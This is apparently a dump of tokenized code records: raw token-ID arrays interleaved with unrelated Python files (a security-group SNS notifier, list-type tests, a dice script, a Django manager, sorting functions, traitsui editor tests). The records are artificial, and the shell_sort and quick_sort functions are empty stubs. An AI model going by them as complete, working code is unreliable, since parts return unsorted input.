29945,
29896,
29953,
29896,
29896,
29906,
29896,
29945,
29896,
29946,
29955,
29901,
2576,
492,
400,
29918,
13010,
29906,
29915,
13,
13,
1753,
3386,
29918,
29879,
1983,
29918,
7645,
29898,
29872,
1125,
13,
268,
13,
1678,
2009,
29918,
16744,
353,
321,
1839,
3827,
11507,
2033,
13,
1678,
2318,
29918,
333,
353,
2009,
29918,
16744,
1839,
9688,
2033,
13,
1678,
2130,
1989,
29918,
333,
353,
321,
1839,
1792,
18415,
16215,
5943,
2558,
1204,
2033,
13,
1678,
8952,
353,
321,
1839,
1792,
18415,
16215,
1792,
1170,
2033,
13,
1678,
1741,
29918,
978,
353,
321,
1839,
3696,
1170,
2033,
13,
1678,
565,
1741,
29918,
978,
2804,
525,
12498,
13228,
4782,
2396,
13,
4706,
10377,
29918,
17858,
6847,
353,
2009,
29918,
16744,
1839,
666,
15737,
6847,
2033,
13,
4706,
10377,
29918,
17858,
6847,
29918,
667,
353,
4390,
29889,
29881,
17204,
29898,
666,
29918,
17858,
6847,
1839,
7076,
11287,
13,
1678,
1683,
29901,
13,
4706,
10377,
29918,
17858,
6847,
29918,
667,
353,
525,
13228,
6431,
756,
11132,
29915,
13,
1678,
25879,
29918,
12803,
353,
321,
1839,
10467,
18457,
2033,
13,
1678,
2752,
29918,
666,
353,
321,
1839,
4993,
5690,
7061,
2033,
13,
1678,
1741,
29918,
333,
353,
321,
1839,
3696,
1367,
2033,
13,
268,
13,
1678,
851,
29918,
29872,
353,
4390,
29889,
29881,
17204,
29898,
29872,
29897,
13,
1678,
851,
29918,
29872,
29918,
1272,
353,
4390,
29889,
18132,
29898,
710,
29918,
29872,
29897,
13,
1678,
1741,
29918,
2230,
29918,
3126,
353,
851,
29918,
29872,
29918,
1272,
1839,
3696,
2481,
2033,
13,
1678,
396,
13372,
278,
4663,
931,
3402,
304,
12865,
3402,
13,
1678,
1741,
29918,
2230,
29918,
12673,
29918,
4830,
353,
851,
29898,
12673,
29889,
710,
415,
603,
29898,
3696,
29918,
2230,
29918,
3126,
29892,
14210,
29979,
19222,
29885,
19222,
29881,
29911,
29995,
29950,
16664,
29924,
16664,
29903,
29999,
8785,
13,
268,
13,
1678,
396,
7974,
292,
2318,
1024,
2729,
373,
2318,
1178,
13,
1678,
363,
269,
29887,
29918,
978,
29892,
269,
29887,
29918,
333,
297,
14405,
29918,
5311,
29918,
1761,
29889,
7076,
7295,
13,
4706,
565,
269,
29887,
29918,
333,
1275,
2318,
29918,
333,
29901,
13,
9651,
2318,
29918,
978,
353,
269,
29887,
29918,
978,
13,
9651,
396,
2457,
269,
29887,
29918,
978,
13,
268,
13,
1678,
3573,
29918,
7645,
353,
525,
2624,
15837,
29901,
320,
13,
1678,
320,
29876,
29905,
29876,
2624,
1024,
584,
525,
718,
1741,
29918,
978,
718,
320,
13,
1678,
11297,
29876,
13228,
6431,
4408,
584,
525,
718,
2318,
29918,
978,
718,
320,
13,
1678,
11297,
29876,
13228,
6431,
3553,
584,
525,
718,
2318,
29918,
333,
718,
320,
13,
1678,
11297,
29876,
7277,
25085,
584,
525,
718,
10377,
29918,
17858,
6847,
29918,
667,
718,
320,
13,
1678,
11297,
29876,
2624,
5163,
584,
525,
718,
1741,
29918,
333,
718,
320,
13,
1678,
11297,
29876,
2624,
931,
313,
26913,
29897,
584,
525,
718,
1741,
29918,
2230,
29918,
12673,
29918,
4830,
718,
320,
13,
1678,
11297,
29876,
2659,
11028,
7670,
584,
525,
718,
2130,
1989,
29918,
333,
718,
320,
13,
1678,
11297,
29876,
20249,
584,
525,
718,
8952,
718,
320,
13,
1678,
11297,
29876,
29909,
7811,
11069,
584,
525,
718,
25879,
29918,
12803,
718,
320,
13,
1678,
11297,
29876,
4435,
5641,
584,
525,
718,
2752,
29918,
666,
718,
320,
13,
1678,
11297,
29876,
29905,
29876,
29905,
29876,
29915,
718,
525,
22131,
1741,
29901,
525,
718,
320,
13,
1678,
11297,
29876,
29905,
29876,
29915,
718,
851,
29918,
29872,
29871,
13,
268,
13,
1678,
4967,
29918,
7645,
353,
525,
10601,
28096,
14223,
6431,
21313,
1800,
390,
2540,
678,
6916,
4286,
4830,
29898,
2972,
29918,
333,
29897,
13,
1678,
7135,
29918,
24671,
29898,
2587,
29918,
7645,
29892,
4967,
29918,
7645,
29897,
13,
13,
1753,
7135,
29918,
24671,
29898,
3696,
29918,
16432,
29892,
4967,
1125,
13,
268,
13,
1678,
269,
1983,
29918,
4645,
29889,
23679,
29898,
8667,
1433,
29876,
353,
269,
1983,
29918,
13010,
29918,
2753,
29892,
7777,
5015,
12425,
353,
525,
1807,
742,
320,
13,
1678,
7777,
353,
1741,
29918,
16432,
29892,
3323,
622,
353,
4967,
29897,
13,
13,
268,
13,
1753,
14013,
29918,
13789,
29898,
3696,
29892,
3030,
1125,
13,
1678,
396,
14402,
2334,
13,
1678,
1596,
29898,
3696,
29897,
13,
1678,
565,
313,
3696,
1839,
16432,
16215,
3696,
1170,
2033,
1275,
525,
13720,
675,
13228,
4782,
797,
3663,
29915,
470,
320,
13,
1678,
525,
13720,
675,
13228,
4782,
29923,
3663,
29915,
470,
525,
1123,
5744,
13228,
4782,
29923,
3663,
29915,
470,
320,
13,
1678,
525,
1123,
5744,
13228,
4782,
797,
3663,
1495,
470,
525,
12498,
13228,
4782,
29915,
322,
320,
13,
1678,
1741,
1839,
16432,
16215,
3827,
11507,
2033,
320,
13,
1678,
6024,
9688,
2033,
297,
3633,
7810,
29918,
5311,
29918,
1761,
29901,
13,
4706,
3386,
29918,
29879,
1983,
29918,
7645,
29898,
3696,
1839,
16432,
11287,
13,
268,
13,
1678,
736,
525,
14191,
29915,
13,
2
] |
tests/test_datatypes.py | MZH-bust/genutil | 0 | 81444 | import pytest
from genutil import datatypes
class TestIsListOfStrings:
@pytest.mark.parametrize(
"test_parameter,expected",
[
pytest.param(["this", "is", "a", "list", "of", "strings"], True, id="Param1 - List of Strings"),
pytest.param("no list, but string", False, id="Param2 - String only"),
pytest.param(["this", "is", "a", 9], False, id="Param3 - List contains int"),
pytest.param(10, False, id="Param4 - only int"),
],
)
def test_is_list_of_strings(self, test_parameter, expected):
assert datatypes.is_list_of_strings(test_parameter) == expected
| [
1,
1053,
11451,
1688,
13,
3166,
2531,
4422,
1053,
1418,
271,
7384,
13,
13,
13,
1990,
4321,
3624,
1293,
2776,
26545,
29901,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29898,
13,
4706,
376,
1688,
29918,
15501,
29892,
9684,
613,
13,
4706,
518,
13,
9651,
11451,
1688,
29889,
3207,
29898,
3366,
1366,
613,
376,
275,
613,
376,
29874,
613,
376,
1761,
613,
376,
974,
613,
376,
19651,
12436,
5852,
29892,
1178,
543,
4736,
29896,
448,
2391,
310,
3767,
886,
4968,
13,
9651,
11451,
1688,
29889,
3207,
703,
1217,
1051,
29892,
541,
1347,
613,
7700,
29892,
1178,
543,
4736,
29906,
448,
1714,
871,
4968,
13,
9651,
11451,
1688,
29889,
3207,
29898,
3366,
1366,
613,
376,
275,
613,
376,
29874,
613,
29871,
29929,
1402,
7700,
29892,
1178,
543,
4736,
29941,
448,
2391,
3743,
938,
4968,
13,
9651,
11451,
1688,
29889,
3207,
29898,
29896,
29900,
29892,
7700,
29892,
1178,
543,
4736,
29946,
448,
871,
938,
4968,
13,
4706,
21251,
13,
1678,
1723,
13,
1678,
822,
1243,
29918,
275,
29918,
1761,
29918,
974,
29918,
19651,
29898,
1311,
29892,
1243,
29918,
15501,
29892,
3806,
1125,
13,
4706,
4974,
1418,
271,
7384,
29889,
275,
29918,
1761,
29918,
974,
29918,
19651,
29898,
1688,
29918,
15501,
29897,
1275,
3806,
13,
2
] |
dice.py | kamalkum9r/python | 1 | 1616221 | # importing required library
# no need to worry about installing it its preinstalled with your python language
import random
# here i am defining a function to roll a dice so that you can import it in other projects also
# huh, thanks me later for that ??
dice = random.randint(1,6)
def roll_a_die():
return dice
result = roll_a_die()
print(result)
# its that simple , isn't it ??
# my instagram username: kamalkum9r | [
1,
396,
28348,
3734,
3489,
30004,
13,
29937,
694,
817,
304,
15982,
1048,
15476,
372,
967,
758,
25537,
411,
596,
3017,
4086,
6756,
13,
30004,
13,
5215,
4036,
30004,
13,
30004,
13,
29937,
1244,
474,
626,
16184,
263,
740,
304,
9679,
263,
17629,
577,
393,
366,
508,
1053,
372,
297,
916,
9279,
884,
30004,
13,
29937,
298,
16099,
29892,
3969,
592,
2678,
363,
393,
13626,
30004,
13,
30004,
13,
29881,
625,
353,
4036,
29889,
9502,
524,
29898,
29896,
29892,
29953,
8443,
13,
1753,
9679,
29918,
29874,
29918,
16217,
7295,
30004,
13,
1678,
736,
17629,
30004,
13,
30004,
13,
2914,
353,
9679,
29918,
29874,
29918,
16217,
26471,
13,
2158,
29898,
2914,
8443,
13,
30004,
13,
29937,
967,
393,
2560,
1919,
3508,
29915,
29873,
372,
13626,
30004,
13,
29937,
590,
832,
14442,
8952,
29901,
9286,
2235,
398,
29929,
29878,
2
] |
modeladminutils/models.py | kinaklub/next.filmfest.by | 7 | 173682 | from django.db import models
from modeladminutils.queryset import SearchableQuerySet
__all__ = ['SearchableManager']
class BaseSearchableManager(models.Manager):
def get_queryset(self):
return SearchableQuerySet(self.model)
SearchableManager = BaseSearchableManager.from_queryset(SearchableQuerySet)
| [
1,
515,
9557,
29889,
2585,
1053,
4733,
13,
13,
3166,
1904,
6406,
13239,
29889,
1972,
842,
1053,
11856,
519,
3010,
2697,
13,
13,
13,
1649,
497,
1649,
353,
6024,
7974,
519,
3260,
2033,
13,
13,
13,
1990,
7399,
7974,
519,
3260,
29898,
9794,
29889,
3260,
1125,
13,
1678,
822,
679,
29918,
1972,
842,
29898,
1311,
1125,
13,
4706,
736,
11856,
519,
3010,
2697,
29898,
1311,
29889,
4299,
29897,
13,
13,
13,
7974,
519,
3260,
353,
7399,
7974,
519,
3260,
29889,
3166,
29918,
1972,
842,
29898,
7974,
519,
3010,
2697,
29897,
13,
2
] |
sort/sort.py | storyoftime66/AlgorithmSheet | 0 | 74811 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
def insert_sort(inputlist):
"""
直接插入排序,升序
:param inputlist: a list of number
:return: the ascending list
"""
length = len(inputlist)
for x in range(1, length):
key = inputlist[x] # 要插入的数
i = x - 1
while i >= 0:
if inputlist[i] > key:
inputlist[i + 1]=inputlist[i]
else:
break
i -= 1
inputlist[i + 1] = key
return inputlist
def bubble_sort(inputlist):
"""
冒泡排序
:param inputlist: a list of number
:return: the ascending list
"""
length = len(inputlist)
for j in range(1, length):
for i in range(length-j):
if inputlist[i] > inputlist[i+1]:
inputlist[i], inputlist[i+1] = inputlist[i+1], inputlist[i]
return inputlist
def select_sort(inputlist):
"""
简单选择排序
:param inputlist: a list of number
:return: the ascending list
"""
length = len(inputlist)
for i in range(length):
minimum = i
for j in range(i, length):
if inputlist[j] < inputlist[minimum]:
minimum = j
inputlist[i], inputlist[minimum] = inputlist[minimum], inputlist[i]
return inputlist
def shell_sort(inputlist):
pass
return inputlist
def quick_sort(inputlist):
pass
return inputlist
# 堆排序
def heap_sort(inputlist):
def heap_rebuild(inputlist, index, length):
"""
堆排序
:param inputlist:
:param index:
:param length:
:return:
"""
lchild = index * 2 + 1
rchild = lchild + 1
if lchild < length:
heap_rebuild(inputlist, lchild, length)
if inputlist[lchild] > inputlist[index]:
inputlist[index], inputlist[lchild] = inputlist[lchild], inputlist[index]
if rchild < length:
heap_rebuild(inputlist, rchild, length)
if inputlist[rchild] > inputlist[index]:
inputlist[index], inputlist[rchild] = inputlist[rchild], inputlist[index]
length = len(inputlist)
# 重建完之后最大的元素在下标为0的位置
heap_rebuild(inputlist, 0, length)
while length > 0:
# inputlist[length-1]为末尾元素
length -= 1
# 交换到表尾
inputlist[0], inputlist[length] = inputlist[length], inputlist[0]
heap_rebuild(inputlist, 0, length)
return inputlist
L1 = [5, 9, 6]
heap_sort(L1)
print(L1)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
13,
1753,
4635,
29918,
6605,
29898,
2080,
1761,
1125,
13,
1678,
9995,
13,
268,
31157,
31092,
233,
146,
149,
30752,
233,
145,
149,
31463,
30214,
232,
144,
138,
31463,
13,
13,
1678,
584,
3207,
1881,
1761,
29901,
263,
1051,
310,
1353,
13,
1678,
584,
2457,
29901,
278,
12066,
2548,
1051,
13,
1678,
9995,
13,
1678,
3309,
353,
7431,
29898,
2080,
1761,
29897,
13,
1678,
363,
921,
297,
3464,
29898,
29896,
29892,
3309,
1125,
13,
4706,
1820,
353,
1881,
1761,
29961,
29916,
29962,
29871,
396,
29871,
30698,
233,
146,
149,
30752,
30210,
30354,
13,
4706,
474,
353,
921,
448,
29871,
29896,
13,
4706,
1550,
474,
6736,
29871,
29900,
29901,
13,
9651,
565,
1881,
1761,
29961,
29875,
29962,
1405,
1820,
29901,
13,
18884,
1881,
1761,
29961,
29875,
718,
29871,
29896,
13192,
2080,
1761,
29961,
29875,
29962,
13,
9651,
1683,
29901,
13,
18884,
2867,
13,
9651,
474,
22361,
29871,
29896,
13,
4706,
1881,
1761,
29961,
29875,
718,
29871,
29896,
29962,
353,
1820,
13,
1678,
736,
1881,
1761,
13,
13,
13,
1753,
289,
23232,
29918,
6605,
29898,
2080,
1761,
1125,
13,
1678,
9995,
13,
268,
232,
137,
149,
233,
182,
164,
233,
145,
149,
31463,
13,
13,
1678,
584,
3207,
1881,
1761,
29901,
263,
1051,
310,
1353,
13,
1678,
584,
2457,
29901,
278,
12066,
2548,
1051,
13,
1678,
9995,
13,
1678,
3309,
353,
7431,
29898,
2080,
1761,
29897,
13,
1678,
363,
432,
297,
3464,
29898,
29896,
29892,
3309,
1125,
13,
4706,
363,
474,
297,
3464,
29898,
2848,
29899,
29926,
1125,
13,
9651,
565,
1881,
1761,
29961,
29875,
29962,
1405,
1881,
1761,
29961,
29875,
29974,
29896,
5387,
13,
18884,
1881,
1761,
29961,
29875,
1402,
1881,
1761,
29961,
29875,
29974,
29896,
29962,
353,
1881,
1761,
29961,
29875,
29974,
29896,
1402,
1881,
1761,
29961,
29875,
29962,
13,
1678,
736,
1881,
1761,
13,
13,
13,
1753,
1831,
29918,
6605,
29898,
2080,
1761,
1125,
13,
1678,
9995,
13,
268,
234,
177,
131,
31166,
31333,
233,
142,
172,
233,
145,
149,
31463,
13,
13,
1678,
584,
3207,
1881,
1761,
29901,
263,
1051,
310,
1353,
13,
1678,
584,
2457,
29901,
278,
12066,
2548,
1051,
13,
1678,
9995,
13,
1678,
3309,
353,
7431,
29898,
2080,
1761,
29897,
13,
1678,
363,
474,
297,
3464,
29898,
2848,
1125,
13,
4706,
9212,
353,
474,
13,
4706,
363,
432,
297,
3464,
29898,
29875,
29892,
3309,
1125,
13,
9651,
565,
1881,
1761,
29961,
29926,
29962,
529,
1881,
1761,
29961,
1195,
12539,
5387,
13,
18884,
9212,
353,
432,
13,
4706,
1881,
1761,
29961,
29875,
1402,
1881,
1761,
29961,
1195,
12539,
29962,
353,
1881,
1761,
29961,
1195,
12539,
1402,
1881,
1761,
29961,
29875,
29962,
13,
1678,
736,
1881,
1761,
13,
13,
13,
1753,
6473,
29918,
6605,
29898,
2080,
1761,
1125,
13,
1678,
1209,
13,
1678,
736,
1881,
1761,
13,
13,
13,
1753,
4996,
29918,
6605,
29898,
2080,
1761,
1125,
13,
1678,
1209,
13,
1678,
736,
1881,
1761,
13,
13,
13,
29937,
29871,
232,
163,
137,
233,
145,
149,
31463,
13,
1753,
16947,
29918,
6605,
29898,
2080,
1761,
1125,
13,
1678,
822,
16947,
29918,
276,
4282,
29898,
2080,
1761,
29892,
2380,
29892,
3309,
1125,
13,
4706,
9995,
13,
308,
232,
163,
137,
233,
145,
149,
31463,
13,
13,
4706,
584,
3207,
1881,
1761,
29901,
13,
4706,
584,
3207,
2380,
29901,
13,
4706,
584,
3207,
3309,
29901,
13,
4706,
584,
2457,
29901,
13,
4706,
9995,
13,
4706,
301,
5145,
353,
2380,
334,
29871,
29906,
718,
29871,
29896,
13,
4706,
364,
5145,
353,
301,
5145,
718,
29871,
29896,
13,
4706,
565,
301,
5145,
529,
3309,
29901,
13,
9651,
16947,
29918,
276,
4282,
29898,
2080,
1761,
29892,
301,
5145,
29892,
3309,
29897,
13,
9651,
565,
1881,
1761,
29961,
29880,
5145,
29962,
1405,
1881,
1761,
29961,
2248,
5387,
13,
18884,
1881,
1761,
29961,
2248,
1402,
1881,
1761,
29961,
29880,
5145,
29962,
353,
1881,
1761,
29961,
29880,
5145,
1402,
1881,
1761,
29961,
2248,
29962,
13,
4706,
565,
364,
5145,
529,
3309,
29901,
13,
9651,
16947,
29918,
276,
4282,
29898,
2080,
1761,
29892,
364,
5145,
29892,
3309,
29897,
13,
9651,
565,
1881,
1761,
29961,
29878,
5145,
29962,
1405,
1881,
1761,
29961,
2248,
5387,
13,
18884,
1881,
1761,
29961,
2248,
1402,
1881,
1761,
29961,
29878,
5145,
29962,
353,
1881,
1761,
29961,
29878,
5145,
1402,
1881,
1761,
29961,
2248,
29962,
13,
13,
1678,
3309,
353,
7431,
29898,
2080,
1761,
29897,
13,
1678,
396,
29871,
30908,
30886,
31366,
30577,
30822,
30878,
30257,
30210,
30824,
31605,
30505,
30557,
31062,
30573,
29900,
30210,
30956,
30669,
13,
1678,
16947,
29918,
276,
4282,
29898,
2080,
1761,
29892,
29871,
29900,
29892,
3309,
29897,
13,
1678,
1550,
3309,
1405,
29871,
29900,
29901,
13,
4706,
396,
1881,
1761,
29961,
2848,
29899,
29896,
29962,
30573,
233,
159,
174,
31631,
30824,
31605,
13,
4706,
3309,
22361,
29871,
29896,
13,
4706,
396,
29871,
31398,
31640,
30780,
30746,
31631,
13,
4706,
1881,
1761,
29961,
29900,
1402,
1881,
1761,
29961,
2848,
29962,
353,
1881,
1761,
29961,
2848,
1402,
1881,
1761,
29961,
29900,
29962,
13,
4706,
16947,
29918,
276,
4282,
29898,
2080,
1761,
29892,
29871,
29900,
29892,
3309,
29897,
13,
1678,
736,
1881,
1761,
13,
13,
13,
29931,
29896,
353,
518,
29945,
29892,
29871,
29929,
29892,
29871,
29953,
29962,
13,
354,
481,
29918,
6605,
29898,
29931,
29896,
29897,
13,
2158,
29898,
29931,
29896,
29897,
13,
2
] |
app_common/traitsui/tests/test_unit_scalar_editor.py | KBIbiopharma/app_common | 2 | 195734 | from unittest import TestCase, skipIf
import os
from traits.api import HasTraits, Instance
from traitsui.api import Item, View
try:
from scimath.units.api import UnitScalar
from scimath.units.dimensionless import dimensionless
from app_common.traitsui.unit_scalar_editor import \
UnitScalarEditor, str_to_unit_scalar, unit_scalar_to_str
scimath_available = True
except ImportError:
scimath_available = False
if scimath_available:
class SampleModel(HasTraits):
x = Instance(UnitScalar)
view = View(
Item("x", editor=UnitScalarEditor())
)
skip = (os.environ.get("ETS_TOOLKIT", "qt4") == "null" or
scimath_available is False)
if not skip:
from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant
@skipIf(skip, "No scimath available or no UI backend to paint UIs into.")
class TestUniScalarEditor(TestCase, GuiTestAssistant):
def setUp(self):
GuiTestAssistant.setUp(self)
self.model = SampleModel()
self.ui = None
def tearDown(self):
GuiTestAssistant.tearDown(self)
if self.ui is not None:
self.ui.dispose()
def test_editor_with_value(self):
val = UnitScalar(2, units="cm")
self.model.x = val
self.ui = self.model.edit_traits()
self.assertEqual(self.model.x, val)
def test_editor_without_value(self):
self.ui = self.model.edit_traits()
self.assertIsNone(self.model.x)
def test_editor_with_complex_unit(self):
val = UnitScalar(2, units="cm / s")
self.model.x = val
self.ui = self.model.edit_traits()
self.assertEqual(self.model.x, val)
def test_displayed_text(self):
self.model.x = UnitScalar(2, units=dimensionless)
with self.event_loop():
self.ui = self.model.edit_traits()
text = get_text_editor_for_attr(self.ui, "x")
self.assertEqual(text, '2')
def test_change_text(self):
# The event loop is needed for the change in the UI editor to
# modify the model.
with self.event_loop():
self.ui = self.model.edit_traits()
set_text_editor_for_attr(self.ui, "x", "2 km")
self.assertEqual(self.model.x, UnitScalar(2, units="km"))
def test_units_label_with_int(self):
self.model.x = UnitScalar(2, units="g")
with self.event_loop():
self.ui = self.model.edit_traits()
text = get_text_editor_for_attr(self.ui, "x")
self.assertEqual(text, '2 g')
def test_units_label_with_float(self):
self.model.x = UnitScalar(2.1, units="g")
with self.event_loop():
self.ui = self.model.edit_traits()
text = get_text_editor_for_attr(self.ui, "x")
self.assertEqual(text, '2.1 g')
@skipIf(skip, "No scimath available or no UI backend to paint UIs into.")
class TestConversionFunctions(TestCase):
def test_str2val_with_int(self):
text = "2 cm"
self.assertEqual(str_to_unit_scalar(text), UnitScalar(2, units="cm"))
def test_str2val_with_float_period(self):
text = "2. cm"
self.assertEqual(str_to_unit_scalar(text), UnitScalar(2., units="cm"))
def test_str2val_with_float(self):
text = "2.0 cm"
self.assertEqual(str_to_unit_scalar(text), UnitScalar(2.0, units="cm"))
def test_str2val_with_float_high_precision(self):
text = "2.012345678901 cm"
self.assertAlmostEqual(str_to_unit_scalar(text),
UnitScalar(2.012345678901, units="cm"))
def test_basic_val2str(self):
val = UnitScalar(2, units="cm")
self.assertEqual(unit_scalar_to_str(val), "2 cm")
def test_cplx_str2val(self):
text = "2.1 cm / s"
self.assertEqual(str_to_unit_scalar(text),
UnitScalar(2.1, units="cm/s"))
def test_cplx_val2str(self):
val = UnitScalar(2.1, units="cm/s")
self.assertEqual(unit_scalar_to_str(val), "2.1 cm/s")
def test_empty_str2val(self):
text = " "
self.assertEqual(str_to_unit_scalar(text), UnitScalar(0, units='1'))
def test_empty_val2str(self):
self.assertEqual(unit_scalar_to_str(None), "")
def test_dimless_val2str(self):
ph_val = UnitScalar(3, units="1")
self.assertEqual(unit_scalar_to_str(ph_val), "3")
ph_val2 = UnitScalar(3, units=dimensionless)
self.assertEqual(unit_scalar_to_str(ph_val2), "3")
def get_text_editor_for_attr(traits_ui, attr):
""" Grab the Qt QLineEdit for attr off the UI and return its text.
"""
widget = get_widget_for_attr(traits_ui, attr)
return widget.text()
def set_text_editor_for_attr(traits_ui, attr, val):
""" Grab the Qt QLineEdit for attr off the UI and set its text to val.
This needs to trigger the right event (Qt signal) so that TraitsUI gets
notified.
"""
widget = get_widget_for_attr(traits_ui, attr)
widget.setText(val)
# Emit the signal that TraitsUI is listening to:
widget.editingFinished.emit()
def get_widget_for_attr(traits_ui, attr_name):
""" Return the Qt widget in the UI which displays the attribute specified.
"""
x_editor = traits_ui.get_editors(attr_name)[0]
qt_widget = x_editor.control
return qt_widget
| [
1,
515,
443,
27958,
1053,
4321,
8259,
29892,
14383,
3644,
13,
5215,
2897,
13,
3166,
1020,
1169,
29889,
2754,
1053,
11699,
5323,
1169,
29892,
2799,
749,
13,
3166,
1020,
1169,
1481,
29889,
2754,
1053,
10976,
29892,
4533,
13,
2202,
29901,
13,
1678,
515,
885,
326,
493,
29889,
348,
1169,
29889,
2754,
1053,
13223,
29636,
279,
13,
1678,
515,
885,
326,
493,
29889,
348,
1169,
29889,
6229,
2673,
2222,
1053,
9927,
2222,
13,
1678,
515,
623,
29918,
9435,
29889,
3018,
1169,
1481,
29889,
5441,
29918,
19529,
279,
29918,
15204,
1053,
320,
13,
4706,
13223,
29636,
279,
15280,
29892,
851,
29918,
517,
29918,
5441,
29918,
19529,
279,
29892,
5190,
29918,
19529,
279,
29918,
517,
29918,
710,
13,
13,
1678,
885,
326,
493,
29918,
16515,
353,
5852,
13,
19499,
16032,
2392,
29901,
13,
1678,
885,
326,
493,
29918,
16515,
353,
7700,
13,
13,
361,
885,
326,
493,
29918,
16515,
29901,
13,
1678,
770,
21029,
3195,
29898,
14510,
5323,
1169,
1125,
13,
4706,
921,
353,
2799,
749,
29898,
8325,
29636,
279,
29897,
13,
4706,
1776,
353,
4533,
29898,
13,
9651,
10976,
703,
29916,
613,
6920,
29922,
8325,
29636,
279,
15280,
3101,
13,
4706,
1723,
13,
13,
11014,
353,
313,
359,
29889,
21813,
29889,
657,
703,
2544,
29903,
29918,
4986,
5607,
29968,
1806,
613,
376,
17915,
29946,
1159,
1275,
376,
4304,
29908,
470,
13,
4706,
885,
326,
493,
29918,
16515,
338,
7700,
29897,
13,
361,
451,
14383,
29901,
13,
1678,
515,
11451,
2161,
29889,
1481,
29889,
17915,
29946,
29889,
4422,
29889,
23569,
29918,
1688,
29918,
465,
22137,
1053,
402,
1481,
3057,
7900,
22137,
13,
13,
1678,
732,
11014,
3644,
29898,
11014,
29892,
376,
3782,
885,
326,
493,
3625,
470,
694,
3740,
14998,
304,
10675,
501,
3624,
964,
23157,
13,
1678,
770,
4321,
8110,
29636,
279,
15280,
29898,
3057,
8259,
29892,
402,
1481,
3057,
7900,
22137,
1125,
13,
4706,
822,
731,
3373,
29898,
1311,
1125,
13,
9651,
402,
1481,
3057,
7900,
22137,
29889,
842,
3373,
29898,
1311,
29897,
13,
9651,
1583,
29889,
4299,
353,
21029,
3195,
580,
13,
9651,
1583,
29889,
1481,
353,
6213,
13,
13,
4706,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
9651,
402,
1481,
3057,
7900,
22137,
29889,
371,
279,
6767,
29898,
1311,
29897,
13,
9651,
565,
1583,
29889,
1481,
338,
451,
6213,
29901,
13,
18884,
1583,
29889,
1481,
29889,
2218,
4220,
580,
13,
13,
4706,
822,
1243,
29918,
15204,
29918,
2541,
29918,
1767,
29898,
1311,
1125,
13,
9651,
659,
353,
13223,
29636,
279,
29898,
29906,
29892,
10340,
543,
4912,
1159,
13,
9651,
1583,
29889,
4299,
29889,
29916,
353,
659,
13,
9651,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
9651,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
4299,
29889,
29916,
29892,
659,
29897,
13,
13,
4706,
822,
1243,
29918,
15204,
29918,
14037,
29918,
1767,
29898,
1311,
1125,
13,
9651,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
9651,
1583,
29889,
9294,
3624,
8516,
29898,
1311,
29889,
4299,
29889,
29916,
29897,
13,
13,
4706,
822,
1243,
29918,
15204,
29918,
2541,
29918,
19676,
29918,
5441,
29898,
1311,
1125,
13,
9651,
659,
353,
13223,
29636,
279,
29898,
29906,
29892,
10340,
543,
4912,
847,
269,
1159,
13,
9651,
1583,
29889,
4299,
29889,
29916,
353,
659,
13,
9651,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
9651,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
4299,
29889,
29916,
29892,
659,
29897,
13,
13,
4706,
822,
1243,
29918,
4990,
287,
29918,
726,
29898,
1311,
1125,
13,
9651,
1583,
29889,
4299,
29889,
29916,
353,
13223,
29636,
279,
29898,
29906,
29892,
10340,
29922,
6229,
2673,
2222,
29897,
13,
9651,
411,
1583,
29889,
3696,
29918,
7888,
7295,
13,
18884,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
18884,
1426,
353,
679,
29918,
726,
29918,
15204,
29918,
1454,
29918,
5552,
29898,
1311,
29889,
1481,
29892,
376,
29916,
1159,
13,
13,
9651,
1583,
29889,
9294,
9843,
29898,
726,
29892,
525,
29906,
1495,
13,
13,
4706,
822,
1243,
29918,
3167,
29918,
726,
29898,
1311,
1125,
13,
9651,
396,
450,
1741,
2425,
338,
4312,
363,
278,
1735,
297,
278,
3740,
6920,
304,
13,
9651,
396,
6623,
278,
1904,
29889,
13,
9651,
411,
1583,
29889,
3696,
29918,
7888,
7295,
13,
18884,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
18884,
731,
29918,
726,
29918,
15204,
29918,
1454,
29918,
5552,
29898,
1311,
29889,
1481,
29892,
376,
29916,
613,
376,
29906,
2383,
1159,
13,
13,
9651,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
4299,
29889,
29916,
29892,
13223,
29636,
279,
29898,
29906,
29892,
10340,
543,
8848,
5783,
13,
13,
4706,
822,
1243,
29918,
348,
1169,
29918,
1643,
29918,
2541,
29918,
524,
29898,
1311,
1125,
13,
9651,
1583,
29889,
4299,
29889,
29916,
353,
13223,
29636,
279,
29898,
29906,
29892,
10340,
543,
29887,
1159,
13,
9651,
411,
1583,
29889,
3696,
29918,
7888,
7295,
13,
18884,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
18884,
1426,
353,
679,
29918,
726,
29918,
15204,
29918,
1454,
29918,
5552,
29898,
1311,
29889,
1481,
29892,
376,
29916,
1159,
13,
13,
9651,
1583,
29889,
9294,
9843,
29898,
726,
29892,
525,
29906,
330,
1495,
13,
13,
4706,
822,
1243,
29918,
348,
1169,
29918,
1643,
29918,
2541,
29918,
7411,
29898,
1311,
1125,
13,
9651,
1583,
29889,
4299,
29889,
29916,
353,
13223,
29636,
279,
29898,
29906,
29889,
29896,
29892,
10340,
543,
29887,
1159,
13,
9651,
411,
1583,
29889,
3696,
29918,
7888,
7295,
13,
18884,
1583,
29889,
1481,
353,
1583,
29889,
4299,
29889,
5628,
29918,
3018,
1169,
580,
13,
18884,
1426,
353,
679,
29918,
726,
29918,
15204,
29918,
1454,
29918,
5552,
29898,
1311,
29889,
1481,
29892,
376,
29916,
1159,
13,
13,
9651,
1583,
29889,
9294,
9843,
29898,
726,
29892,
525,
29906,
29889,
